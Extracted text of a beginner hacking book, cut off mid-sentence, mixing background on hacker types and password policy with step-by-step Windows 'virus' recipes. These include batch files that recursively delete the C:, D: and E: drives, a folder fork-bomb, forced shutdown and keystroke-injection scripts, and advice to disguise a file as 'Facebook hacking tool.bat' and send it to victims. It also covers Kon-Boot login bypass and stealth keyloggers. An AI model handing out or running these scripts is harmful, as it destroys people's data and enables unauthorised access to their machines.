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PR E FA C E

C om puter hacking is the practice of altering com puter hardw are and softw are to carry out
a goal outside of the creator‐s original intention. People w ho slot in com puter hacking
actions and activities are often entitled as hackers. The m ajority of people assum e that
hackers are com puter crim inals. They fall short to identify the fact that crim inals and
hackers are tw o entirely unrelated things. H ackers in realism  are good and extrem ely
intelligent people, w ho by using their know ledge in a constructive m ode help
organizations, com panies, governm ent, etc. to secure credentials and secret inform ation on
the Internet. Years ago, no one had to w orry about C rackers breaking into their com puter
and installing Trojan viruses, or using your com puter to send attacks against others. N ow
that thing have changed, it‒s best to be aw are of how  to defend your com puter from
dam aging intrusions and prevent black hat hackers. So, in this B ook you w ill uncover the
finest w ays to defend your com puter system s from  the hackers This B ook is w ritten by
keeping one object in m ind that a beginner, w ho is not m uch fam iliar regarding com puter
hacking, can easily, attem pts these hacks and recognize w hat w e are trying to dem onstrate.
A fter R eading this book you w ill com e to recognize that how  H acking is affecting our
everyday routine w ork and can be very hazardous in m any fields like bank account
hacking etc. M oreover, after carrying out this volum e in detail you w ill be capable of
understanding that how  a hacker hacks and how  you can defend yourself from  these
threats.

FO R  A N Y  Q U ER IES A N D  SU G G ESTIO N S FEEL FR EE TO  C O N TA C T M E: 
ujjw al@ thebigcom puting.com

In T he L oving M em ory of m y D A D



Your hands so w arm
Your voice so clear
I still rem em ber your laughter Like yesterday had never gone I m iss your w ords of
encouragem ent W ords that kept m e hanging on N ow  you are gone
The tears keep flow ing O nly hoping
That one day the pain w ill fade D ad w hy did you have to go aw ay W e love you and m iss
you I know  I w ill again see you som eday
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U JJW A L SA H AY

FO O L ISH  A SSU M PT IO N S“

I m ake a few  assum ptions about you:
You‒re fam iliar w ith basic com puter-, netw orking related concepts and term s.
 You have a basic understanding of w hat hackers and m alicious users do.
 You have access to a com puter and a netw ork on w hich to use these techniques.
 You have access to the Internet to obtain the various tools used in the ethical hacking
process.
 You have perm ission to perform  the hacking techniques described in this book.
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L et‒s start
IN T R O D U C T IO N

IN T R O D U C T IO N  TO  H A C K E R S

First of all before digging into intense hacking processes let‒s take a look on w hat hacking
is, w ho the hackers are, w hat are their intentions, types of hackers and their com m unities
etc.

C om m unities of H ackers:

 H A C K ER S
 C R A C K ER S
 PH R EA K S
 SC R IPT K ID D IES

H A C K ER S are the Intelligent C om puter Experts.
IN TEN SIO N  O F H A C K ER S:

‛To gain in-depth know ledge of any com puter system , w hat is happening at the backend of
any specific program  of the system  behind the screen of the com puter system ?

‛ Their m otive is to find possible security risk and vulnerabilities in a com puter system  or
netw ork.

‛They create security aw areness am ong the people by sharing know ledge and proper
security preventions that should be taken by the user.

Types of H ackers:

‛W hite H at H ackers ―W hite hats‖ is the nam e used for security experts. W hile they often
use the sam e tools and techniques as the black hats, they do so in order to foil the bad
guys. That is, they use those tools for ethical hacking and com puter forensics. Ethical
hacking is the process of using security tools to test and im prove security (rather than to
break it!). C om puter forensics is the process of collecting evidence needed to identify and
convict com puter crim inals.

‛B lack H at H ackers They use their know ledge and skill set for illegal activities and
destructive intents. O bviously, the ―black hats‖ are the bad guys. These are the people w ho
create and send viruses and w orm s, break into com puter system s, steal data, shut dow n
netw orks, and basically com m it electronic crim es. W e talk about black hats at several
points in this book. B lack hat hackers and m alw are w riters are not considered as the sam e
thing in the security com m unity even though they are both breaking the law .

‛G rey H at H ackers They use their know ledge and skill set for the legal and illegal
purpose. They are w hite hats in public but internally they do som e black hat w ork. G ray
hats sit in the m iddle of the fence because som etim es they cross that ethical line (or m ore
often, define it differently). For exam ple, gray hats w ill break into a com pany‒s com puter
system  just to w ander around and see w hat‒s there. They think that sim ply because they
don‒t dam age any data, they‒re not com m itting a crim e. Then they go and apply for jobs as
security consultants for large corporations. They justify their earlier break-in as som e sort



of com puter security training. M any really believe that they‒re providing a public service
by letting com panies know  that their com puters are at risk.

C R A C K ER S are those w ho break into the applications w ith som e m alicious intentions
either for their personal gain or their greedy achievem ents.

Intension of crackers:
‛ Their m otive is to get unauthorized access into a system  and cause dam age or destroy or
reveal confidential inform ation.
‛To com prom ise the system  to deny services to legitim ate users for troubling, harassing
them  or for taking revenge.
‛It can cause financial losses &  im age/reputation dam ages, defam ation in the society for
individuals or organizations.

PH R EA K S are those people w ho use com puter devices and softw are program s and their
tricky and sharp m ind to break into the phone netw orks.

Intention of phreaks:

‛To find loopholes in security in phone netw ork and to m ake phone calls and access
internet at free of cost!!!
 You m ay get a spoofed call or a big am ount of bill.  You can also get a call w ith your
ow n num ber.

SC R IPT K ID D IES: These are com puter novices w ho take advantage of the hacker tools,
vulnerability scanners, and docum entation available free on the Internet but w ho don‒t
have any real know ledge of w hat‒s really going on behind the scenes. They know  just
enough to cause you headaches but typically are very sloppy in their actions, leaving all
sorts of digital fingerprints behind. Even though these guys are the stereotypical hackers
that you hear about in the new s m edia, they often need only m inim al skills to carry out
their attacks.

Intention of script kiddies:
‛They use the available inform ation about know n vulnerabilities to break into the netw ork
system s.
‛It‒s an act perform ed for a fun or out of curiosity.
B lack H at H ackers Strategy:
‛Inform ation G athering &  Scanning
‛G etting A ccess on the w ebsite
‛M aintain the access
‛C lear the Tracks
C onclusion: Security is im portant because prevention is better than cure.



H A C K E R S W A N T Y O U R  PC

H A C K E R S W A N T Y O U R  PC “

You m ight be thinkingthathackers don‒t careabout your com puter,but they do. H ackers
w ant access to your system  for m any different reasons. R em em ber, once a hacker breaks
in and plants a Trojan, the door is open for anyone to return. The hackers know  this and
are m aking m oney off from  it. They know  it‒s easy to hide and very difficult to track them
back once they ow n your PC .

O verall, the Internet is an easy place to hide. C om prom ised com puters around the w orld
have helped to m ake hiding sim ple. It is easy to find the last IP address from  w here an
attack w as launched, but hackers hop from  m any unsecured system s to hide their location
before they launch attacks.

IP address is a unique address that identifies w here a com puter is connected to the
Internet. Every com puter, even yours if you‒re using broadband access, has an Internet
protocol (IP) address.

O ver the past four years, m ost cyber-attacks have been launched from  com puters w ithin
the IN D IA . H ow ever, this doesn‒t m ean that system s in the IN D IA  are the original source
of the attack. A  hacker in Pakistan could actually use your com puter to launch a denial of
service (D O S) attack. To the entire w orld, it m ight even look as if you started the attack
because the hacker has hidden his tracks so that only the last ―hop‖ can be traced

.

V IR U S C R E AT IO N S



C R EATIO N  O F V IR U S IN  N O TEPA D

N ow , it‒s tim e to adm inistrate your com puter by creating som e viruses in the form  of batch
file. You can create various types of viruses w ith havingdistinct functionality.
Eachandeveryvirusw ill affect thevictim ‒s com puter system  by the w ay you have coded its
program m ing in the batch file. You can create viruses w hich can freeze the victim ‒s
com puter or it can also crash it.

V irus creation codes of the batch file:-
 C odes to be w ritten in the notepad-
 Extension of the files should be ―.bat‖ -

1.) To create a huge am ount of folders on victim ‒s desktop screen: 
First of all your task is to copy the follow ing codes in the notepad of your com puter.
For opening the notepad:
G o to run option of your com puter by pressing ―w indow +R ‖. Sim ply type ―notepad‖
and click on the O K  option.



C O D ES: @ echo off
:top
m d% random %
goto top.

N ow  w hen you have copied the codes in the notepad your next w ork is to save the text
docum ent you have created.
G o to fileoptionandsave your docum ent by any nam ebut―don‒tforget to keep the extension
as ‐.bat‒.

For exam ple you can save your text docum ent by the nam e―ujjw al.bat‖

O r you can also keep your docum ent nam e as ―Facebook hacking tool.bat‖ to confuse the
victim  and enforce him  to open the virus you have created to destroy the desktop of the
victim .



W hen you have done saving the docum ent just double click on the batch file to open it.

Suddenly you w ill see that the com m and prom pt of the victim ‒s com puter opened
autom atically and it w ill display large am ount of codes to running in the com m and
prom pt.
A fter 5-10 seconds you w ill see that there are a huge am ount of folders created
autom atically on the desktop of the victim  and it w ill also leads the desktop to freeze or
crash.

2.) To create m ore folders in C , D , and E drive of victim ‒s com puter:-

A s w e have learned above to create m any folders on the desktop of the victim , in the sam e
w ay w e can create a lot of folders in the C :, D :, and E: drives of the victim s com puter by
applying the sam e m ethod as w e have follow ed above but there is a little am endm ent in
the codes of the batch file of this virus.

C O D ES:
@ echo off

:V IR U S
cd /d C :
m d% random %
cd /d D :
m d% random %
cd /d E:
m d% random %
goto V IR U S



C opy and paste the above code in the notepad and follow  the sam e steps as w e have
follow ed before to create m ore num bers of folders in the local drives of the victim ‒s
com puter.

3.) To form at C , D : and E: drive of your com puter:

O pen N otepad
C opy the below  com m and there 
―rd/s/q D :\
rd/s/q C :\
rd/s/q E:" (W ithout quotes)
Save as ―anything.bat

D ouble click on the virus icon.
This virus form ats the C , D  and E D rive in 5 Seconds.
4.) C onvey your friend a little m essage and shut dow n his / her com puter:

@ echo off
m sg * I don‒t like you
shutdow n -c ―Error! You are too stupid!‖ -s

Save it as ―A nything.B AT‖ in A ll Files and send it.

5.) O pen N otepad, slow ly type ―H ello, how  are you? I am  good thanks‖ and freak your
friend out:

O pen the notepad and type the follow ing code :
W Script.Sleep 180000
W Script.Sleep 10000
Set W shShell = W Script.C reateO bject(―W Script.Shell‖)
W shShell.R un ―notepad‖
W Script.Sleep 100
W shShell.A ppA ctivate ―N otepad‖
W Script.Sleep 500
W shShell.SendK eys ―H el‖
W Script.Sleep 500
W shShell.SendK eys ―lo ―
W Script.Sleep 500
W shShell.SendK eys ―, ho‖
W Script.Sleep 500
W shShell.SendK eys ―w  a‖
W Script.Sleep 500
W shShell.SendK eys ―re ―
W Script.Sleep 500 W shShell.SendK eys ―you‖ W Script.Sleep 500
W shShell.SendK eys ―? ‖ W Script.Sleep 500
W shShell.SendK eys ―I a‖ W Script.Sleep 500
W shShell.SendK eys ―m  g‖ W Script.Sleep 500
W shShell.SendK eys ―ood‖ W Script.Sleep 500
W shShell.SendK eys ‖ th‖ W Script.Sleep 500
W shShell.SendK eys ―ank‖ W Script.Sleep 500



W shShell.SendK eys ―s! ―

Save it as ―A nything.V B S‖ and send it.
6.) H ack your friend‒s keyboard and m ake him  type ―You are a fool‖ sim ultaneously:
O pen the notepad and type the follow ing codes:

Set w shShell = w script.C reateO bject(―W Script.Shell‖) do
w script.sleep 100
w shshell.sendkeys ―You are a fool.‖
loop

Save it as ―A nything.V B S‖ and send it.
7.) O pen N otepad continually in your friend‒s com puter:

O pen the notepad and type the follow ing codes:
@ EC H O  off
:top
STA RT % System R oot% \system 32\notepad.exe
G O TO  top

Save it as ―A nything.B AT‖ and send it.
8.) TH R ETEN  Y O U R  FR IEN D  B Y  M A K IN G  SC R EEN  FLA SH

To m ake a really cool batch file that can m ake your entire screen flash random  colors until
you hit a key to stop it, sim ply copy and paste the follow ing code into notepad and then
save it as a .bat file.

@ echo off
echo e100 B 8 13 00 C D  10 E4 40 88 C 3 E4 40 88 C 7 F6 E3 30>\z.dbg echo e110 D F 88
C 1 B A  C 8 03 30 C 0 EE B A  D A  03 EC  A 8 08 75>>\z.dbg echo e120 FB  EC  A 8 08 74 FB
B A  C 9 03 88 D 8 EE 88 F8 EE 88>>\z.dbg echo e130 C 8 EE B 4 01 C D  16 74 C D  B 8 03
00 C D  10 C 3>>\z.dbg echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg

B ut if you really w ant to m ess w ith a friend then copy and paste the follow ing code w hich
w ill do the sam e thing except w hen they press a key the screen w ill go black and the only
w ay to stop the batch file is by pressing C TR L-A LT-D ELETE.
C odes:

@ echo off :a echo e100 B 8 13 00 C D  10 E4 40 88 C 3 E4 40 88 C 7 F6 E3 30>\z.dbg echo
e110 D F 88 C 1 B A  C 8 03 30 C 0 EE B A  D A  03 EC  A 8 08 75>>\z.dbg echo e120 FB  EC
A 8 08 74 FB  B A  C 9 03 88 D 8 EE 88 F8 EE 88>>\z.dbg echo e130 C 8 EE B 4 01 C D  16
74 C D  B 8 03 00 C D  10 C 3>>\z.dbg echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a

To disable error (ctrl+shirt+esc) then end process w script.exe Enjoy!!! N ote: - som e of the
above given codes can harm  your com puter after execution so; don‒t try it on your pc. You



can use a test com puter for it.



B AT C H  TO  E X E  C O N V E R SIO N

C onvert B atch files into E xecutable Program s

The batch files and the executable files w ork in alm ost sim ilar w ay. B asically both are as
m uch as a set of instructions and logics for the com m and execution. B ut m ore preferably
w e treat executable files as they are m ore convenient than batch one.
B ut w hy w ould w e w ant that?
Som e of the reasons are listed below :
1. W e can include extra tools in our EX E dependent batch file.

2. M oreover EX E provides protection to the source script to restrict m odification.
3. EX E files can be pinned to w indow s start m enu as w ell as in the task bar.
H ere w eare usinga tool called―B atchtoexe converter‖ w hichprovides you a platform  to run
the batch files as executable files.
You can dow nload it from  here

―B at to ExeC onverter‖ is a flow
conversionprogram  w hose purpose is to help you to easily obtain executable files out of
batch item s.
If you prefer to convert a B ATC H  file into an executable one easily, ―B at to
ExeC onverter‖ is a sim ple and yet effective solution.

The application provides you w ith a sim plified interface, w hich m akes it com fortable for
both beginner and advanced users. From  its prim ary w indow , you have the ability to select
the desired batch file and output file. Then, you w ill be able to custom ize your settings
according to your choice and preferences.



A nother interesting and com pactible feature is that you can choose the language for your
EX E file, the choices being English or G erm an. From  the O ptions tab, users can opt to
create a visible or invisible application, w hich m eans displaying a console w indow  or not.
H ow ever, if you w ant to encrypt the resulting EX E file, you can protect it w ith a security
passw ord.



M E SSIN G  U P W IT H  R E G IST R Y

H A C K IN G  ―O PE N ‖ O PT IO N

If w e w ant to open any folder either w e use to double click on the folder or w e just right
click on the folder and it w ill show  us a dialogue box w ith O PEN  option at the top of the
dialogue box.

A ndtodayw e are goingto learn thathow  to hackthe ―O PEN ‖ option by any text by w hich
you w ant to replace it.
STEPS:
G o to ―run‖ option and type ―regedit‖ and click on ok. N ote: ―regedit‖ stands for
registry editing.

R egistry: - it is responsible for saving the binary equivalent w orking of every application
in operating system .

 Then a w indow  w ill open in front of you of registry editing.  It has five options.

1. H K EY _C LA SSES_R O O T
2. H K EY _C U R R EN T_U SER
3. H K EY _LO C A L_M A C H IN E
4. H K EY _U SER S
5. H K EY _C U R R EN T_C O N FIG



 Then you have to click on ―H K EY _C LA SSES_R O O T‖ It w ill open and you see a lot of
item s under it.
Search for the ―FO LD ER ‖ option under it.



 C lick on the folder option to open it.
 W hen you open folder option you w ill see the ―SH ELL‖ option. B y opening the
―SH ELL‖ option you w ill see the ―O PEN ‖ option under it.
 Just give a single click on the open option instead opening it  You w ill see tw o item s
defined in the left w hite w orkspace.



 Just open the ―D efault‖ string (1st option).
 D o not touch the value nam e.
Type anything by w hich you w ant to replace your ―open‖ option.

For exam ple I am  typing here that ―your com puter is hacked by U jjw al Sahay‖.

 Then click on ok option.
 N ow  go on any folder and just give a right click to it.

W oooooo! N ow  the open option is changed by the text ―your com puter is hacked by
U jjw al Sahay‖.



PA SSW O R D  C R A C K IN G  E X PL A IN E D

PA SSW O R D  C R A C K IN G

Passw ord crackers are the m ost fam ous and elem entary tools in the hacker‒s toolbox.
These have been around for som e tim e and are fairly effective at ―guessing‖ m ost users‒
passw ords, at least in part because m ost users do a very poor job of selecting secure
passw ords.

First of all if a hacker is going to crack your passw ord then at the very first step they
usually try som e guesses to crack your passw ord. They generally m ade it easy by social
engineering. H ackers know  that m ost users select sim ple passw ords that are easy to
rem em ber. The top choices of the users are nearly alw ays nam es that are personally
m eaningful to the user first nam es of im m ediate fam ily m em bers leadthelist,follow edby
pet‒s nam esand favoritesporting team s. Passw ord crackers m ay end up loading full
English dictionaries, but they can hit a fair num ber of passw ords w ith the contents of any
popular baby nam e book. O ther poor passw ord selections include com m on num bers and
num bers that follow  a com m on form at such as phone num bers and social security
num bers.

C om pounding the problem , m any users set the sam e user nam e and passw ord for all
accounts, allow ing hackers to have a field day w ith a single harvested passw ord. That‒s
som ething to consider before you use the sam e passw ord for Facebook as you use at
school or at w ork.
The key to creating a good passw ord is to create som ething that som eone cannot guess or
easily crack. U sing your pet‒s nam e therefore is not a good technique. U sing your login
nam e is also a bad technique because som eone w ho know s your login (or your nam e,
since m any login nam es are sim ply variations on your surnam e), could easily break into
your system .

C racking passw ords w ith hardcore tools

H igh-tech passw ord cracking involves using a program  that tries to guess a passw ord by
determ ining all possible passw ord com binations. These high-tech m ethods are m ostly
autom ated after you access the com puter and passw ord database files.
The m ain passw ord-cracking m ethods are dictionary attacks, bruteforce attacks, and
rainbow  attacks. You find out how  each of these w ork in the follow ing sections.

Passw ord-cracking softw are:
You can try to crack your organization‒s operating system  and application passw ords w ith
various passw ord-cracking tools:

C ain &  A bel: C ain and A bel is a w ell-know n passw ord cracking tool that is capable of
handling a variety of tasks. The m ost notable thing is that the tool is only available for
W indow s platform s. It can w ork as sniffer in the netw ork, cracking encrypted passw ords
using the dictionary attack, brute force attacks, cryptanalysis attacks, revealing passw ord
boxes, uncovering cached passw ords, decoding scram bled passw ords, and analyzing
routing protocols. It use to cracks LM  and N T LanM anager (N TLM ) hashes, W indow s
R D P passw ords, C isco IO S and PIX  hashes, V N C  passw ords, R A D IU S hashes, and lots



m ore. (H ashes are cryptographic representations of passw ords.)

B rutus: B rutus is one of the m ost popular rem ote online passw ord cracking tools. It claim s
to be the fastest and m ost flexible passw ord cracking tool. This tool is free and is only
available for W indow s system s. It w as released back in O ctober 2000.

It supports H TTP (B asic A uthentication), H TTP (H TM L Form /C G I), PO P3, FTP, SM B ,
Telnet and other types such as IM A P, N N TP, N etB us, etc. You can also create your ow n
authentication types. This tool also supports m ulti-stage authentication engines and is able
to connect 60 sim ultaneous targets. It also has resum ed and load options. So, you can
pause the attack process any tim e and then resum e w henever you w ant to resum e.

Elcom soft D istributed Passw ord R ecovery:

(w w w .elcom soft.com /edpr.htm l) cracks W indow s, M icrosoft O ffice, PG P, A dobe, iTunes,
and num erous other passw ords in a distributed fashion using up to 10,000 netw orked
com puters at one tim e. Plus, this tool uses the sam e graphics processing unit (G PU ) video
acceleration as the Elcom soft W ireless A uditor tool, w hich allow s for cracking speeds up
to 50 tim es faster.

Elcom soft System  R ecovery:(w w w .elcom soft.com /esr.htm l) 
cracks O r resets W indow s user passw ords, sets adm inistrative rights, and resets passw ord
expirations all from  a bootable C D .

John the R ipper : - (w w w .openw all.com /john) John the R ipper is another w ell-know n free
open source passw ord cracking tool for Linux, U N IX  and M ac O S X . A  W indow s version
is also available. This tool can detect w eak passw ords. A  pro version of the tool is also
available, w hich offers better features and native packages for target operating system s.

ophcrack :(http://ophcrack.sourceforge.net) cracks W indow s U ser passw ords using
rainbow  tables from  a bootable C D . Rainbow  tables are pre-calculated passw ord hashes
that can help speed up the cracking process.

A ircrack-N G  : - (http://w w w .aircrack-ng.org/) A ircrack-N G  is a W iFi passw ord cracking
tool that can crack W EP or W PA  passw ords. It analyzes w ireless encrypted packets and
then tries to crack passw ords via its cracking algorithm . It is available for Linux and
W indow s system s. A  live C D  of A ircrack is also available.

Proactive System  Passw ord R ecovery
:

(w w w .elcom soft.com /pspr.
htm l) recovers practically any locally stored W indow s passw ord, such A s logon
passw ords, W EP/W PA  passphrases, SY SK EY  passw ords, and R A S/dialup/V PN
passw ords.

R ainbow  C rack : - (http://project-rainbow crack.com ) R ainbow  C rack is a hash cracker
tool that uses a large-scale tim e-m em ory trade off process for faster passw ord cracking
than traditional brute force tools. Tim e-m em ory tradeoff is a com putational process in
w hich all plain text and hash pairs are calculated by using a selected hash algorithm . A fter
com putation, results are stored in the rainbow  table. This process is very tim e consum ing.
B ut, once the table is ready, it can crack a passw ord m ust faster than brute force tools.



You also do not need to generate rainbow  tablets by yourselves. D evelopers of R ainbow
C rack have also generated LM  rainbow  tables, N TLM  rainbow  tables, M D 5 rainbow
tables and Sha1 rainbow  tables. Like R ainbow  C rack, these tables are also available for
free. You can dow nload these tables and use for your passw ord cracking processes.

pw dum p3 :-(w w w .openw all.com /passw ords/m icrosoftw indow snt-2000-xp-2003-vista-
7#pw dum p) passw ord hashes from  the SA M  (Security database.
extracts A ccounts W indow s M anager)

Passw ord storage locations vary by operating system :
W indow s usually stores passw ords in these locations:

‛ A ctive D irectory database file that‒s stored locally or spread across dom ain controllers
(ntds.dit)
W indow s m ay also store passw ords in a backup of the SA M  file in the c:\w innt\repair or
c:\w indow s\repair directory.

‛ Security A ccounts M anager (SA M ) database (c:\w innt\ system 32\config) or
(c:\w indow s\system 32\config)

Som e W indow s applications store passw ords in the R egistry or as plaintext files on the
hard drive! A  sim ple registry or file-system  search for ―passw ord‖ m ay uncover just w hat
you‒re looking for.

Linux and other U N IX  variants typically store passw ords in these files:
‛ /etc/passw d (readable by everyone)
‛ /etc/shadow  (accessible by the system  and the root account only)
‛ /.secure/etc/passw d (accessible by the system  and the root account only)
‛ /etc/security/passw d (accessible by the system  and the root account only)



M U ST H AV E  PA SSW O R D  PO L IC IE S

PA SSW O R D  C R E AT IN G  PO L IC IE S

A s an ethical hacker, you should show  users the im portance of securing their passw ords.
H ere are som e tips on how  to do that:

 D em onstrate how  to create secure passw ords:-generally people use to create their
passw ords using only w ords, w hich can be less secure.

Show  w hat can happen w hen w eak passw ords are used or passw ords are shared.
 D iligently build user aw areness of social engineering attacks:Encourage the use of a
strong passw ord-creation policy that includes the follow ing criteria:
 U se punctuation characters to separate w ords.

 U se upperand low ercase letters, special characters, and num bers.
 N ever use only num bers. Such passw ords can be cracked quickly.

C hange passw ords every 15 to 30 days or im m ediately if they‒re suspected of being
com prom ised.

 U se different passw ords for each system . This is especially im portant for netw ork
infrastructure hosts, such as servers, firew alls, and routers.
It‒s okay to use sim ilar passw ords   just m ake them  slightly different for each type of
system , such as w w eraw 777-W in7 for W indow s system s and w w eraw 453 for Linux
system s.

 U se variable-length passw ords. This trick can throw  off attackers because they w on‒t
know  the required m inim um  or m axim um  length of Passw ords and m ust try all passw ord
length com binations.

D on‒t use com m on slang w ords or w ords that are in a dictionary.

 D on‒t rely com pletely on sim ilar-looking characters, such as 3 instead of E, 5 instead of
S, or ! Instead of 1. Passw ord-cracking program s can for this.

 U se passw ord-protected screen savers. U nlocked screens are a great w ay for system s to
be com prom ised even if their hard drives are encrypted.

D on‒t reuse the sam e passw ord w ithin at least four to five passw ord changes.
D on‒t share passw ords. To each his or her ow n!

 Avoid storing user passw ords in an unsecured central location, such as an unprotected
spreadsheet on a hard drive. This is an invitation for disaster. U se Passw ord Safe or a
sim ilar program  to store user passw ords.



K O N B O O T

B Y PA SS W IN D O W S L O G O N  SC R E E N  PA SSW O R D

Som etim es it creates a critical condition if you forgot your W indow s adm inistrator
passw ord and it‒s quite urgent to recover it w ithout any flaw . This article w ill m ake it
convenient to recover your adm in passw ord.

W e are using a tool nam ed as K O N -B O O T.

K on-B oot is an application w hich w ill bypass the authentication process of W indow s
based operating system s. It enables you login in to any passw ord protected test m achine
w ithout any know ledge of the passw ord.

K on-B oot w orks w ith both 64-bit and 32-bit M icrosoft W indow s operating system s.

N eedy things: 
A  Pen D rive or A ny U SB  D evice such as M em ory C ard or a blank C D . K on-B oot (Latest
version)
Your 5 m inutes and also a w orking m ind.

Technical instructions: 
1. D ow nload K O N -B O O T from  internet.
2. Extract the ZIP and run the ―K onB ootInstaller.exe‖
3. B urn the ISO .
4. B oot from  C D /U SB  device.
5. A fter W indow s is loaded it w ill show  you a K on-boot screen.

6. Leave the passw ord box em pty and just hit O K  it w ill directly enable you into the
w indow s account.
L im itations: 
IT M AY  C A U SE B SO D  (N O TEPA D  PA RTIC U LA R  B U G S).



K E Y L O G G E R S

B E  AW A R E
K E Y ST R O K E  L O G G IN G

O ne of the best techniques for capturing passw ords is rem ote keystroke logging   the use
of softw are or hardw are to record keystrokes as they‒re typed into the com puter.

G enerally you use to ask your friends or relatives for logging in into your account by their
com puters.

So, be careful w ith key loggers installed in their com puters. Even w ith goodintentions,
m onitoringem ployees raises various legal issues if it‒s not done correctly. D iscuss w ith
yourlegal counsel w hat you‒ll be doing, ask for their guidance, and get approval from
upper m anagem ent.

Logging tools: - W ith keystroke-logging tools, you can assess the log files of your
application to see w hat passw ords people are using:
K eystroke-logging applications can be installed on the m onitored com puter.
I suggest you to check out fam ily key logger by (w w w .spyarsenel.com ).
A nother popular tool is Invisible K ey Logger Stealth; D ozens of other such tools are
available on the Internet.

O ne m ore you can checkout is K G B  em ployee m onitor is one of the favorite of m e
“ ..B ecause it is not only invisible but it w ill also not show n by your task m anager and it
uses passw ord protection too.

H ardw are-based tools, such as K ey G host (w w w .keyghost.com ), fit betw een the keyboard
and the com puter or replace the keyboard altogether.
A  keystroke-logging tool installed on a shared com puter can capture the passw ords of
every user w ho logs in.

PR EV EN TIO N S:

The best defense against the installation of keystroke-logging softw are on your system s is
to use an anti-m alw are program  that m onitors the local host. It‒s not foolproof but can
help. A s for physical key loggers, you‒ll need to visually inspect each system .

The potential for hackers to install keystroke-logging softw are is another reason to ensure
that your users aren‒t dow nloading and installing random  sharew are or opening
attachm ents in unsolicited em ails. C onsider locking dow n your desktops by setting the
appropriate user rights through local or group security policy in W indow s.



D O  Y O U  H AV E  R AT E D  7.9 ?

L earn H ow  to H ack W indow s E xperience Index

Starting from  W indow s V ista, M icrosoft introduced a kind of benchm arking system  in its
O perating System . In W indow s V ista and 7 users can rate their PC  using the W indow s
Experience Index. The H ighest possible score in W indow s V ista is 5 w hile W indow s 7
m achines can go up to 7.9 in the experience index.

In the W indow s Experience index the base score is based on the low est score of any
com ponent. Such as in the test PC  it w as 4.4 based because of the G raphics sub score.

H ow ever it is not so tough to m anipulate these num bers and change these scores according
to your w ill. You can change these just to fool anyone.

G ETTIN G  STA RTED

To m ake things sim plified w e w ould recom m end you to run W indow s Experience Index
first (If you have not done so) if you have done that you can skip this section.

To do those open C ontrol panels go to System  and security and then click on C heck the
W indow sE xperience Index

A fter that click on R ate This com puter
N ote that your C om puter m ay take several m inutes in rating the system

You w ill see a screen sim ilar to this.

M ESSIN G  U P W ITH  SC O R ES
To m anipulate these scores head to W indow s installation drive (C : in our case). Then go to

W indow s > Perform ance > W inSAT > D ataStore
You w ill able to see several indexing files there.



You w ill need to open the file ending w ith ―Form al.A ssessm ent (Initial).W inSAT ‖

O pen the file in notepad. You w ill see the follow ing w indow :

In the notepad w indow  you don‒t need to do too dow n to hunt anything, sim ply change the
values according to your w ill in the upper area. The values are w ritten betw een tags. Such
as

<M em oryScore>5.9</M em oryScore>

C hange the values betw een tags and save the files. N ext tim e you w ill open the W indow s<
Experience Index the values w ill be changed.



O FF TH E R O A D  TIP: For m ore fun w e suggest everyone to keep their Scores realistic
(N ot 7.9 Exactly)

To revert the changes you can re-run the assessm ent.



T H E  H ID D E N  D R IV E S

H A C K  TO  H ID E  L O C A L D R IV E S

In this article w e are going to learn about hiding the stuffs. G enerally, you guys use to hide
the particular file w hich you w ant to keep personal. W hich is the m ost com m on w ay in
these days and it can easily be exposed even by a m iddle school child.

B ut, here w e are going to learn that how  to hide the w hole specified drives (local disks)
w hich keep you safe from  your fam ily child. You can easily keep your data safe either it is
your girlfriend‒s pic or blah“ blah“ blah“ !

Let‒s start to learn how  to hide the specified drives step by step:-

 For hiding the drives you have to edit the group policies of your com puter.
For editing group policies just go on the ―run‖ option and type ―gpedit.m sc‖ and click
on ok.
O r
You can easily search in your search box for the G R O U P PO LIC Y.

 The group policy editor w ill be opened after you!



Then you w ill see in the left part of the w indow  there is a ―U SER

C O N FIG U R ATIO N ‖ option.
 U nder the user configuration option there are three options :1.) Softw are settings
2.) W indow s settings
3.) A dm inistrative tem plates

 Just give a single click on the adm inistrative tem plate option.  You see that som e
options are m ade available in the right part of the w indow .
O pen the ―all settings option.‖

 W hen you opened the ―all settings options‖ there is a list of lot of options displayed after
you!
C lickon the ―settings‖ option to arrange them  then alphabetically. If already arranged



you can skip this step.

 N ow  clicking som etim es the ―H ‖ key of your keyboard search for the ―hide these
specified drives in m y com puter‖ option.

D ouble click on the ―hide these specified drives in m y com puter‖ option.
 A  w indow  w ill opens after you.



―EN A B LE‖ it and choose for the drives w hich you w ant to hide from  the given options
in the low er left part of the w indow .
 A fter applying the settings just click on ok and you see the drives w ill hide according to
your choice.
 I have selected to hide only A , B , C  and D  drives only so the E: drive w ill not be hidden
in the screenshot given below .



 In the above given screenshot only ―E:‖ drive is show n to the user.
 If you w ant to access the drives w hich are hidden then you have to click on the address
bar of m y com puter‒s w indow  as m arked in the above screenshot and type D :‖ or ―C :‖ and
click on EN TER  button of your keyboard to open the drives respectively.



E M PT Y  H D D

FO R M AT H A R D  D ISK  W IT H  N O T E PA D

In this article w e are going to learn how  to delete com pletely your C : drive of your
com puter w ithout a form atting com pact disk. Just do it on your ow n risk because it w ill
destroy the w indow s of you system  and for this I am  not responsible.

FO LLO W  TH E B ELO W  STEPS TO  FO R M AT Y O U  C : D R IV E:_
 O pen the notepad and type the follow ing give code

C O D E:
@ echo off del C :\ *.* \y

Save it w ith the extension ―.bat‖
Such as ―virus.bat‖.



D ouble click on the saved file to run this virus.
 C om m and prom pt w ill be opened after you w here it w ill be deleting your drive.
N ote: ―I have not tried this virus yet, and also please don‒t try on your personalcom puters.
If you have triedever please give m e the review s.‖



L E T ‒S H AV E  SO M E  FU N

FU N N Y  V IR U S TO  SH O C K  Y O U R  FR IE N D S

H ello guys, I think after reading the above chapters now  it‒s tim e to have som e fun. In this
article w e are going to learn that how  to give a shock to your friend for a m inute.

B asically here w e are going to create a funny virus w hich w ill not actually harm  your
friend‒s com puter but it w ill shock him /her for a m inute.

So let‒s create that virus follow ing the sam e steps as w e have created som e viruses in
previous chapters.
So follow  the steps:
 O pen the notepad and type the follow ing code:

C O D ES:
@ echo off
m sg * your com puter is attacked by a virus.
m sg * click ok to form at.
m sg * all your data has been deleted.

 Save the docum ent w ith the extension ―.bat‖
 For exam ple you can save the virus by the nam e ―funny virus.bat‖



 N ow  your w ork is to execute the virus.
 Just double click on the virus and it w ill show  you a m essage that

―your com puter is attacked by a virus‖.

 N ow  either you click on ―ok‖ or you close the above m essage box, it w ill again show  you
